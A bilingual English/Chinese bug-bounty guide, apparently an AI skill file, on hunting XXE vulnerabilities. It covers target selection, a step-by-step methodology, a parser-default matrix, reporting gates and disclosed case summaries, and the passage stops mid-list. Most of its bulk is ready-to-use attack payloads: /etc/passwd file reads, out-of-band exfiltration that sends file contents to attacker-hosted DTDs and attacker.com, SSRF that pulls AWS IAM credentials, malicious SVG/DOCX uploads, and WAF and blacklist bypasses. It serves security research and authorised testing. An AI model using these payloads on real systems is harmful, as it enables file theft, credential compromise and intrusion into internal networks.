hunt-xxe
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseCrown Jewel Targets
皇冠级目标
XXE is a critical-severity vulnerability that consistently pays at the top of bug bounty scales ($5,000–$30,000+) due to its direct path to sensitive data exfiltration and SSRF. Highest-value targets:
- Large enterprise platforms with XML-heavy backend integrations (finance, logistics, ride-sharing APIs)
- Domains with file-read capability — ,
/etc/passwd, internal config files, AWS metadata endpoints/etc/shadow - Subdomains sharing backend infrastructure — one XXE endpoint can pivot to internal services across dozens of domains (as demonstrated by 26+ Uber domains via a single entry point)
- API gateways accepting XML content types — especially REST APIs that silently accept
Content-Type: application/xml - File upload features — SVG, DOCX, XLSX, PDF, PPTX parsers on the server side
- SAML/SSO endpoints — SAML assertions are XML-based and frequently vulnerable
- Office/document processing services — any feature that converts or processes user-supplied documents
XXE 是一种严重级别漏洞,凭借直接通往敏感数据外泄与 SSRF 的路径,持续位于 bug bounty 赏金阶梯顶端($5,000–$30,000+)。价值最高的目标:
- 后端大量集成 XML 的大型企业平台(金融、物流、网约车 API)
- 具备文件读取能力的域名 — 、
/etc/passwd、内部配置文件、AWS metadata endpoints/etc/shadow - 共享后端基础设施的子域名 — 一个 XXE 端点即可转向整个组织数十个域名上的内部服务(如通过单一入口影响 26+ 个 Uber 域名)
- 接受 XML content type 的 API gateway — 尤其是会静默接受 的 REST API
Content-Type: application/xml - 文件上传功能 — 服务端的 SVG、DOCX、XLSX、PDF、PPTX 解析器
- SAML/SSO 端点 — SAML assertion 基于 XML,且经常存在漏洞
- Office/文档处理服务 — 任何转换或处理用户提供文档的功能
Attack Surface Signals
攻击面信号
URL Patterns
URL 模式
/api/v*/xml
/upload
/import
/parse
/convert
/saml/acs
/sso/saml
/feed
/rss
/sitemap
/webdav
/soap/*
/wsdl
/service.asmx
/xmlrpc
/graphql (multipart with XML)/api/v*/xml
/upload
/import
/parse
/convert
/saml/acs
/sso/saml
/feed
/rss
/sitemap
/webdav
/soap/*
/wsdl
/service.asmx
/xmlrpc
/graphql (multipart with XML)Request/Response Headers
请求/响应头
Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: multipart/form-data ← check file upload fields
Accept: application/xml
X-Content-Type-Options: (absent — good sign of loose parsing)Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: multipart/form-data ← check file upload fields
Accept: application/xml
X-Content-Type-Options: (absent — good sign of loose parsing)JavaScript Patterns (source recon)
JavaScript 模式(源码侦察)
javascript
// Look for in JS bundles
XMLSerializer
DOMParser
parseFromString
new ActiveXObject("Microsoft.XMLDOM")
$.parseXML(
xml2js
libxmljs
lxmljavascript
// Look for in JS bundles
XMLSerializer
DOMParser
parseFromString
new ActiveXObject("Microsoft.XMLDOM")
$.parseXML(
xml2js
libxmljs
lxmlTech Stack Signals
技术栈信号
- Java stacks: Spring, Struts, JAX-WS — default XML parsers (SAX, DOM) are XXE-vulnerable without explicit hardening
- PHP: ,
simplexml_load_string()— vulnerable by default pre-PHP 8DOMDocument::loadXML() - Python: ,
lxml(safe by default),xml.etree(unsafe)xml.sax - Ruby: older versions,
NokogiriREXML - Node.js: ,
xml2js,libxmljs(older versions)fast-xml-parser - WSDL/SOAP services: Always test — legacy XML parsing virtually guaranteed
- File parsers: Apache POI (Java), python-docx, LibreOffice integrations
- Java 技术栈:Spring、Struts、JAX-WS — 默认 XML parser(SAX、DOM)在未显式加固时容易受到 XXE 影响
- PHP:、
simplexml_load_string()— 在 PHP 8 之前默认容易受到攻击DOMDocument::loadXML() - Python:、
lxml(默认安全)、xml.etree(不安全)xml.sax - Ruby:旧版 、
NokogiriREXML - Node.js:、
xml2js、libxmljs(旧版)fast-xml-parser - WSDL/SOAP 服务:始终进行测试——旧版 XML 解析几乎必然存在问题
- 文件解析器:Apache POI(Java)、python-docx、LibreOffice integrations
Step-by-Step Hunting Methodology
分步挖掘方法
-
Map every XML entry point — Use Burp Suite passive scanner to flag all requests/responses with XML content types. Also intercept JSON endpoints and manually swapto
Content-Typewith equivalent XML body.application/xml -
Identify file upload features — Upload SVG, DOCX, XLSX, and observe if the server processes/renders content. These are often XML under the hood.
-
Attempt inline XXE (classic file read) — Replace the XML body with a basic entity test payload targetingor
/etc/passwd. Observe if the value is reflected in the response.C:\Windows\win.ini -
If no reflection, pivot to Blind OOB — Set up an OOB listener (Burp Collaborator, interactsh, or a self-hosted netcat server). Inject an external entity pointing to your callback URL. Confirm DNS/HTTP hit to validate the parser is making outbound connections.
-
Escalate Blind OOB to file exfiltration — Use a two-stage payload: first entity loads local file, second entity sends it OOB via HTTP parameter or DNS exfiltration.
-
Test SSRF pivot — Point the external entity at internal network addresses (,
http://169.254.169.254/latest/meta-data/,http://10.0.0.1/). Look for differences in response timing or error messages.http://localhost:8080/admin -
Test all subdomains sharing the same backend — If one subdomain is vulnerable, enumerate and test all others systematically. Shared backend infrastructure means shared vulnerability.
-
Test parameter-level injection — Some endpoints parse only specific XML nodes. Inject entities into every element value, attribute value, and even element names.
-
Test for error-based exfiltration — If OOB is blocked, trigger XML parsing errors that include file content in the error message returned to the client.
-
Document the full impact chain — Demonstrate: file read → SSRF → internal service access → note which internal domains/IPs are reachable.
-
绘制所有 XML 入口点 — 使用 Burp Suite passive scanner 标记所有带 XML content type 的请求和响应。同时拦截 JSON endpoints,手动将替换为
Content-Type并提供等效的 XML body。application/xml -
识别文件上传功能 — 上传 SVG、DOCX、XLSX,并观察服务器是否处理或渲染内容。这些格式在底层通常都是 XML。
-
尝试 inline XXE(经典文件读取) — 将 XML body 替换为基本的实体测试 payload,目标是或
/etc/passwd。观察响应中是否回显对应值。C:\Windows\win.ini -
如果没有回显,转向 Blind OOB — 设置 OOB listener(Burp Collaborator、interactsh 或自托管 netcat server)。注入指向 callback URL 的外部实体。通过 DNS/HTTP hit 确认 parser 正在发起出站连接。
-
将 Blind OOB 升级为文件外泄 — 使用两阶段 payload:第一阶段由实体加载本地文件,第二阶段通过 HTTP 参数或 DNS exfiltration 将其发送出去。
-
测试 SSRF pivot — 将外部实体指向内部网络地址(、
http://169.254.169.254/latest/meta-data/、http://10.0.0.1/)。观察响应时间或错误消息是否存在差异。http://localhost:8080/admin -
测试共享同一后端的所有子域名 — 如果一个子域名存在漏洞,则系统性地枚举并测试其他所有子域名。共享后端基础设施意味着共享漏洞。
-
测试参数级注入 — 某些端点只解析特定的 XML 节点。向每个元素值、属性值,甚至元素名称中注入实体。
-
测试基于错误的数据外泄 — 如果 OOB 被阻止,触发包含文件内容的 XML 解析错误,并将错误消息返回给客户端。
-
记录完整影响链 — 证明:文件读取 → SSRF → 内部服务访问 → 记录哪些内部域名/IP 可以访问。
Payload & Detection Patterns
Payload 与检测模式
Error-based exfil via local-DTD repurposing (zero network egress)
通过复用本地 DTD 实现基于错误的数据外泄(零网络出口)
When both outbound AND external-DTD fetch are blocked, reference a DTD already on disk and redefine one of its internal entities so the target file content leaks in the parse error:
file://xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; err SYSTEM 'file:///nonexist/%file;'>">
%eval; %err;'>
%local_dtd; ]>Needs zero network egress. Local DTD paths differ per distro (yelp/docbookx is common) — enumerate. (PortSwigger: XXE by repurposing a local DTD.)
当 出站请求和外部 DTD 获取均被阻止时,引用磁盘上已有的 DTD,并重新定义其中一个内部实体,使目标文件内容泄露到解析错误中:
file://xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; err SYSTEM 'file:///nonexist/%file;'>">
%eval; %err;'>
%local_dtd; ]>无需任何网络出口。本地 DTD 路径因发行版而异(yelp/docbookx 很常见)——应进行枚举。(PortSwigger:通过复用本地 DTD 实施 XXE。)
Classic In-Band File Read
经典带内文件读取
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>Windows Equivalent
Windows 等效方案
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root>xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root>Blind OOB — DNS/HTTP Callback
Blind OOB — DNS/HTTP 回调
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://YOUR.BURPCOLLABORATOR.net/xxe-test">
]>
<root><data>&xxe;</data></root>xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://YOUR.BURPCOLLABORATOR.net/xxe-test">
]>
<root><data>&xxe;</data></root>Blind OOB — File Exfiltration via Parameter Entity (two-stage)
Blind OOB — 通过参数实体进行文件外泄(两阶段)
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd">
%dtd;
]>
<root><data>trigger</data></root>evil.dtd (hosted on attacker server):
xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-SERVER/?data=%file;'>">
%all;xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd">
%dtd;
]>
<root><data>trigger</data></root>evil.dtd(托管在攻击者服务器上):
xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-SERVER/?data=%file;'>">
%all;SSRF via XXE (AWS Metadata)
通过 XXE 实现 SSRF(AWS 元数据)
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&ssrf;</data></root>xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&ssrf;</data></root>SVG XXE (for file upload endpoints)
SVG XXE(用于文件上传端点)
xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg">
<text font-size="14" x="0" y="16">&xxe;</text>
</svg>xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg">
<text font-size="14" x="0" y="16">&xxe;</text>
</svg>DOCX/XLSX XXE — Inject into [Content_Types].xml
or word/document.xml
[Content_Types].xmlword/document.xmlDOCX/XLSX XXE — 注入 [Content_Types].xml
或 word/document.xml
[Content_Types].xmlword/document.xmlxml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Types xmlns="..."><Default Extension="rels" ContentType="&xxe;"/></Types>xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Types xmlns="..."><Default Extension="rels" ContentType="&xxe;"/></Types>Content-Type Swap (JSON to XML)
Content-Type 替换(JSON 转 XML)
bash
undefinedbash
undefinedOriginal JSON request
Original JSON request
curl -X POST https://target.com/api/endpoint
-H "Content-Type: application/json"
-d '{"user":"test"}'
-H "Content-Type: application/json"
-d '{"user":"test"}'
curl -X POST https://target.com/api/endpoint
-H "Content-Type: application/json"
-d '{"user":"test"}'
-H "Content-Type: application/json"
-d '{"user":"test"}'
Converted to XML for XXE testing
Converted to XML for XXE testing
curl -X POST https://target.com/api/endpoint
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'
undefinedcurl -X POST https://target.com/api/endpoint
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'
undefinedGrep Patterns for Source Code Review
用于源码审查的 Grep 模式
bash
undefinedbash
undefinedPHP
PHP
grep -rn "simplexml_load_string|DOMDocument|xml_parse|loadXML|SimpleXMLElement" .
grep -rn "simplexml_load_string|DOMDocument|xml_parse|loadXML|SimpleXMLElement" .
Java
Java
grep -rn "DocumentBuilder|SAXParser|XMLReader|XMLInputFactory|TransformerFactory" .
grep -rn "DocumentBuilder|SAXParser|XMLReader|XMLInputFactory|TransformerFactory" .
Python
Python
grep -rn "lxml|xml.sax|parseString|fromstring|etree.parse" .
grep -rn "lxml|xml.sax|parseString|fromstring|etree.parse" .
Look for missing hardening
Look for missing hardening
grep -rn "FEATURE_EXTERNAL_GENERAL_ENTITIES|setExpandEntityReferences|setFeature.*false" .
---grep -rn "FEATURE_EXTERNAL_GENERAL_ENTITIES|setExpandEntityReferences|setFeature.*false" .
---Common Root Causes
常见根因
-
Default parser configurations — Java's, PHP's
DocumentBuilderFactory, and Python'sDOMDocumentall support external entities by default. Developers use them without reading the security docs.lxml -
Framework upgrades without security re-review — Older versions of Spring, Struts, and similar frameworks enabled XXE by default; developers didn't re-audit XML handling when libraries changed.
-
Hidden XML consumption — Developers accept JSON at the API layer but convert to XML internally, or use libraries (Apache POI, python-docx) to process uploads without realizing those formats are XML containers.
-
Copy-paste code from StackOverflow — XML parsing examples online rarely include entity disabling. Developers copy minimal working examples straight into production.
-
SAML/SSO library misconfigurations — SSO integrations often delegate XML parsing to third-party libraries with XXE enabled; developers assume "library handles security."
-
Testing gaps on non-primary content types — QA tests JSON APIs extensively; XML code paths receive minimal security testing because they're secondary or legacy.
-
Microservice XML messaging — Internal service-to-service communication uses XML (SOAP, custom schemas) and is treated as a "trusted internal" concern, bypassing security review.
-
默认 parser 配置 — Java 的、PHP 的
DocumentBuilderFactory和 Python 的DOMDocument默认都支持外部实体。开发者未阅读安全文档就直接使用它们。lxml -
框架升级后未重新进行安全审查 — 旧版 Spring、Struts 等 framework 默认启用 XXE;库发生变更后,开发者没有重新审计 XML handling。
-
隐藏的 XML 消费 — 开发者可能在 API 层接受 JSON,却在内部转换为 XML;或者使用 Apache POI、python-docx 等库处理上传文件,却没有意识到这些格式实际上是 XML containers。
-
从 StackOverflow 复制粘贴代码 — 网络上的 XML 解析示例很少包含禁用实体的设置。开发者会将最小可用示例直接复制到生产环境。
-
SAML/SSO 库配置错误 — SSO integrations 通常将 XML 解析委托给启用了 XXE 的第三方库;开发者误以为“库会处理安全问题”。
-
非主要 content type 的测试缺口 — QA 会广泛测试 JSON APIs,但 XML code paths 因为属于次要或遗留功能,通常只接受极少量安全测试。
-
微服务 XML 消息传递 — 内部 service-to-service 通信使用 XML(SOAP、自定义 schemas),并被视为“可信内部通信”,因而绕过了安全审查。
Bypass Techniques
绕过技术
Defense: Keyword blacklist (ENTITY
, DOCTYPE
, SYSTEM
)
ENTITYDOCTYPESYSTEM防御:关键字黑名单(ENTITY
、DOCTYPE
、SYSTEM
)
ENTITYDOCTYPESYSTEMxml
<!-- Case variation -->
<!DoCtYpE foo [<!EnTiTy xxe SyStEm "file:///etc/passwd">]>
<!-- Encoding bypass -->
<?xml version="1.0" encoding="UTF-16"?>
(submit the entire payload UTF-16 encoded)
<!-- Parameter entity instead of general entity -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;]>xml
<!-- Case variation -->
<!DoCtYpE foo [<!EnTiTy xxe SyStEm "file:///etc/passwd">]>
<!-- Encoding bypass -->
<?xml version="1.0" encoding="UTF-16"?>
(submit the entire payload UTF-16 encoded)
<!-- Parameter entity instead of general entity -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;]>Defense: External entity fetching disabled (file:// blocked)
防御:已禁用外部实体获取(file://
被阻止)
file://xml
<!-- Try alternative URI schemes -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd"> <!-- Java -->
<!ENTITY xxe SYSTEM "jar:file:///etc/passwd!/"> <!-- Java -->
<!ENTITY xxe SYSTEM "gopher://internal-service:80/_GET%20/">xml
<!-- Try alternative URI schemes -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd"> <!-- Java -->
<!ENTITY xxe SYSTEM "jar:file:///etc/passwd!/"> <!-- Java -->
<!ENTITY xxe SYSTEM "gopher://internal-service:80/_GET%20/">Defense: WAF blocking XXE patterns
防御:WAF 阻止 XXE 模式
xml
<!-- Chunked transfer encoding to bypass WAF inspection -->
Transfer-Encoding: chunked
<!-- HTTP request splitting with XML payload spread across chunks -->
<!-- Use XML comments to break signatures -->
<!-–- -->DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<!-- Nested encoding -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>xml
<!-- Chunked transfer encoding to bypass WAF inspection -->
Transfer-Encoding: chunked
<!-- HTTP request splitting with XML payload spread across chunks -->
<!-- Use XML comments to break signatures -->
<!-–- -->DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<!-- Nested encoding -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>Defense: Network egress filtering (OOB blocked)
防御:网络出口过滤(OOB 被阻止)
xml
<!-- DNS-only exfiltration (port 53 often allowed) -->
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://%data;.attacker.com/'>">
<!-- Error-based exfiltration (no outbound needed) -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///notexist/%file;'>">
%eval; %error;
]>xml
<!-- DNS-only exfiltration (port 53 often allowed) -->
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://%data;.attacker.com/'>">
<!-- Error-based exfiltration (no outbound needed) -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///notexist/%file;'>">
%eval; %error;
]>Defense: Content-Type validation
防御:Content-Type 校验
undefinedundefinedTry mismatched Content-Type headers
Try mismatched Content-Type headers
Content-Type: application/json; charset=xml
Content-Type: application/xml+json
Content-Type: application/json; charset=xml
Content-Type: application/xml+json
Or simply omit Content-Type and let the server sniff
Or simply omit Content-Type and let the server sniff
undefinedundefinedDefense: Input length limits
防御:输入长度限制
xml
<!-- Use billion laughs to test parser limits, and use short file paths -->
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;">
]>
<!-- Escalate to demonstrate DoS if XXE file-read is patched -->xml
<!-- Use billion laughs to test parser limits, and use short file paths -->
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;">
]>
<!-- Escalate to demonstrate DoS if XXE file-read is patched -->Parser-ecosystem vulnerability matrix
Parser 生态系统漏洞矩阵
XXE classic payloads () are not universally exploitable in 2026. Most mainstream language ecosystems have hardened their default XML parsers since 2018-2024. Fingerprint the target stack BEFORE investing time in XXE — sometimes the parser is already safe and the bug class doesn't apply.
<!ENTITY xxe SYSTEM "file://...">| Ecosystem / parser | Default behavior on SYSTEM entity | Vulnerable by default? |
|---|---|---|
Java SAX / DOM ( | Expands SYSTEM file:// | YES |
| Java JAXB / JAX-WS (older Spring versions) | Expands | YES |
PHP | Expands SYSTEM | YES |
PHP | Expands | YES |
.NET | Expands | YES |
.NET | Expands | YES (default since .NET 4.5.2 is |
Python | SYSTEM disabled | NO |
Python | Drops SYSTEM file content even with | NO for file read (verified locally on 6.1.0 — see |
Python | Default safe in current versions | NO |
Python | Disabled | NO |
| Ruby Nokogiri default | Disabled | NO |
Ruby Nokogiri with | Expands | YES |
| Apache Struts (older) | Often expands | YES |
| Embedded IoT / industrial XML processors (firmware) | Frequently vulnerable | YES |
| Microsoft Office OOXML processors that re-parse user content | Vulnerable in some legacy paths | YES |
Fingerprint signals to look for:
- ,
Server: Apache Tomcat→ Java backend → likely YESX-Powered-By: Servlet - + endpoint that ingests XML → likely YES if app uses
X-Powered-By: PHP/...DOMDocument - with
Server: Microsoft-IISand XML SOAP → likely YES on legacy code.aspx - Server says nothing identifiable + endpoint accepts XML → probe with first; if the inline entity expands, escalate to SYSTEM. If the inline entity also fails to expand, the parser may be hardened — pivot.
&hello;
Pre-Severity Gate: before claiming XXE on a candidate endpoint, run the inline-entity probe ( then in a node). If does NOT echo back, parser-level entity expansion is disabled and SYSTEM file:// won't work either. Don't waste cycles on a hardened parser.
<!ENTITY hello "world!">&hello;hello!XXE 经典 payload()在 2026 年并非普遍可利用。自 2018–2024 年以来,大多数主流语言生态已经加固默认 XML parser。投入时间寻找 XXE 前,应先对目标技术栈进行 fingerprint——有时 parser 已经安全,该漏洞类型并不适用。
<!ENTITY xxe SYSTEM "file://...">| 生态系统 / parser | 对 SYSTEM 实体的默认行为 | 默认存在漏洞? |
|---|---|---|
Java SAX / DOM( | 会展开 SYSTEM file:// | 是 |
| Java JAXB / JAX-WS(旧版 Spring) | 会展开 | 是 |
带 | 会展开 SYSTEM | 是 |
带 | 会展开 | 是 |
显式设置 | 会展开 | 是 |
设置 | 会展开 | 是(自 .NET 4.5.2 起,默认值为 |
Python | SYSTEM 已禁用 | 否 |
Python | 即使设置 | 文件读取为否(已在 6.1.0 上完成本地验证——见 |
Python | 当前版本默认安全 | 否 |
Python | 已禁用 | 否 |
| Ruby Nokogiri 默认配置 | 已禁用 | 否 |
使用 | 会展开 | 是 |
| Apache Struts(旧版) | 通常会展开 | 是 |
| 嵌入式 IoT / 工业 XML processors(firmware) | 经常存在漏洞 | 是 |
| 会重新解析用户内容的 Microsoft Office OOXML processors | 某些遗留路径中存在漏洞 | 是 |
需要查找的指纹信号:
- 、
Server: Apache Tomcat→ Java 后端 → 很可能为是X-Powered-By: Servlet - + 接受 XML 的 endpoint → 如果应用使用
X-Powered-By: PHP/...,则很可能为是DOMDocument - +
Server: Microsoft-IIS+ XML SOAP → 在遗留代码中很可能为是.aspx - Server 未返回任何可识别信息 + endpoint 接受 XML → 先使用 探测;若 inline entity 能够展开,再升级为 SYSTEM。如果 inline entity 也无法展开,parser 可能已经加固——及时转向其他方向。
&hello;
**Pre-Severity Gate:**在对候选端点声称存在 XXE 之前,先运行 inline-entity 探测(,然后在节点中使用 )。如果响应中没有出现 ,说明 parser 级别禁用了实体展开,SYSTEM 也不会奏效。不要在已加固的 parser 上浪费测试周期。
<!ENTITY hello "world!">&hello;hello!file://Gate 0 Validation
Gate 0 验证
Before writing the report, answer all three:
-
What can the attacker DO right now?
- Can you show the contents of or
/etc/passwdin the response? OR can you demonstrate a confirmed OOB callback with a file's contents transmitted to your server? OR can you reach an internal SSRF endpoint (metadata, internal admin)?win.ini
- Can you show the contents of
-
What does the victim LOSE?
- Specific sensitive data must be identified: internal credentials, AWS IAM keys, application config files with DB passwords, PII, or internal network topology. "Parser made a DNS request" alone is insufficient — escalate to demonstrate actual data exposure or internal access.
-
Can it be reproduced in 10 minutes from scratch?
- You must have a single command or Burp repeater request that a triage engineer can run against the live target and see the impact within 10 minutes, with zero ambiguity about the vulnerable parameter and endpoint.
curl
- You must have a single
在撰写报告前,回答以下三个问题:
-
攻击者现在能做什么?
- 能否在响应中展示 或
/etc/passwd的内容?或者,能否演示已确认的 OOB callback,并已将某个文件的内容传输到你的服务器?或者,能否访问内部 SSRF endpoint(元数据、内部管理面板)?win.ini
- 能否在响应中展示
-
受害者会损失什么?
- 必须识别出具体的敏感数据:内部凭据、AWS IAM keys、包含数据库密码的应用配置文件、PII 或内部网络拓扑。“Parser made a DNS request”本身并不足够——必须继续升级,以证明实际数据暴露或内部访问。
-
能否在 10 分钟内从零复现?
- 必须提供一条 命令或 Burp Repeater 请求,使 triage engineer 能在 10 分钟内针对 live target 运行并看到影响,同时对 vulnerable parameter 和 endpoint 没有任何歧义。
curl
- 必须提供一条
Real Impact Examples
真实影响案例
Scenario A: Single Endpoint → 26 Domains Compromised (Uber-scale)
场景 A:单一端点 → 26 个域被攻破(Uber 规模)
A tester discovered an XML parsing endpoint on one Uber subdomain. The backend processed XML using a vulnerable parser, and the server made outbound HTTP requests to attacker-controlled infrastructure (blind OOB). Because the vulnerable XML processing service was a shared internal microservice, the same vulnerability was reachable through 26+ different public-facing domains — all sharing the backend. A single payload could read , internal config files, and reach AWS metadata endpoints, effectively giving access to credentials reusable across the entire infrastructure.
/etc/passwdBusiness impact: Full internal service compromise across the majority of the production domain fleet; potential for credential theft and lateral movement.
一名测试人员在某个 Uber 子域中发现了一个 XML 解析端点。后端使用存在漏洞的 parser 处理 XML,服务器会向攻击者控制的基础设施发起出站 HTTP 请求(Blind OOB)。由于存在漏洞的 XML 处理服务是共享的内部微服务,同一漏洞可通过 26+ 个不同的公网域名触达——这些域名全都共享该后端。单个 payload 即可读取 、内部配置文件并访问 AWS metadata endpoints,实际上相当于获得了可在整个基础设施中复用的凭据访问能力。
/etc/passwd业务影响:大多数生产域名基础设施中的内部服务被完全攻破;可能造成凭据窃取与横向移动。
Scenario B: Document Upload → Local File Read on Twitter-scale Platform
场景 B:文档上传 → Twitter 规模平台上的本地文件读取
An attacker uploaded a crafted XML-based document (e.g., SVG or Office format) to a document processing feature on a major social platform. The server-side parser processed the embedded DTD and external entity references, returning local file contents in the parsed output or error messages. The attacker could read application config files containing database connection strings, internal API keys, and potentially private user data stored on the same filesystem.
Business impact: Exposure of production secrets (database credentials, API keys) via a feature intended for harmless file uploads; no authentication bypass required beyond a standard user account.
攻击者向某大型社交平台的一项文档处理功能上传了特制的 XML-based document(例如 SVG 或 Office format)。服务端 parser 处理了嵌入的 DTD 和 external entity references,并在解析输出或错误消息中返回本地文件内容。攻击者可以读取应用配置文件,其中可能包含数据库连接字符串、内部 API keys,以及存储在同一文件系统上的 private user data。
业务影响:原本用于普通文件上传的功能暴露了生产 secrets(数据库凭据、API keys);除标准用户账户外,无需绕过任何身份认证。
Scenario C: JSON API → Hidden XML Parser → SSRF to Internal Services
场景 C:JSON API → 隐藏的 XML Parser → SSRF 至内部服务
A REST API endpoint nominally accepting JSON was found to also parse requests submitted as . The underlying service converted XML to an internal format using an unpatched Java . By injecting a SYSTEM entity pointing at address ranges, the tester could probe internal services, reach an unauthenticated internal admin panel, and retrieve AWS instance metadata including temporary IAM credentials — all through a single API call requiring only a valid session token.
application/xmlDocumentBuilderFactoryhttp://10.0.0.xBusiness impact: Complete AWS credential compromise from a single authenticated API call, enabling privilege escalation from application-level user to cloud infrastructure administrator.
一个名义上接受 JSON 的 REST API endpoint 被发现也允许使用 提交请求并对其进行解析。底层 service 使用未修补的 Java 将 XML 转换为内部格式。测试人员通过注入指向 地址段的 SYSTEM entity,探测内部服务、访问无需认证的内部管理面板,并获取包括临时 IAM credentials 在内的 AWS instance metadata——所有操作仅需一次 API 调用和有效的 session token。
application/xmlDocumentBuilderFactoryhttp://10.0.0.x业务影响:单次经过认证的 API 调用即可完全攻破 AWS credentials,使攻击者能够从应用层用户权限提升为云基础设施管理员。
Disclosed Report Citations (Backfill +6 — 2016-2024)
已披露报告引用(补充 +6 个——2016–2024)
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Three cases (#7, #9, #10) are OOB-required (blind) — they cross-reference the OOB-Or-It-Didn't-Happen Gate and cannot be claimed without a Collaborator/interactsh callback.
hunt-ssrf-
Mail.ru — Pulse RSS/Atom feed XXE (file read) (H1 #505947)
- Subclass: direct file-read XXE (in-band)
- Payload: inside RSS feed body →
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>reflected in response<title>&xxe;</title> - Root cause: pulse.mail.ru RSS/Atom ingestion called an XML parser with enabled
external general entities - Year: 2019 — $6,000
-
Twitter — sms-be-vip.twitter.com SOAP/SXMP servlet XXE (H1 #248668)
- Subclass: SOAP XXE (cloudhopper SXMP servlet) — confirmed via HTTP callback and reflected file read
- Payload: chained in SXMP request body
<!DOCTYPE r [<!ENTITY % ext SYSTEM "http://attacker/x.dtd"> %ext;]> - Root cause: Cloudhopper SXMP servlet parsed inbound XML with default JAXP settings (entities resolved)
- Year: 2017 — $10,080 (classic SOAP-XXE reference case)
-
Zivver — SVG profile-picture upload XXE → SSRF (H1 #897244)
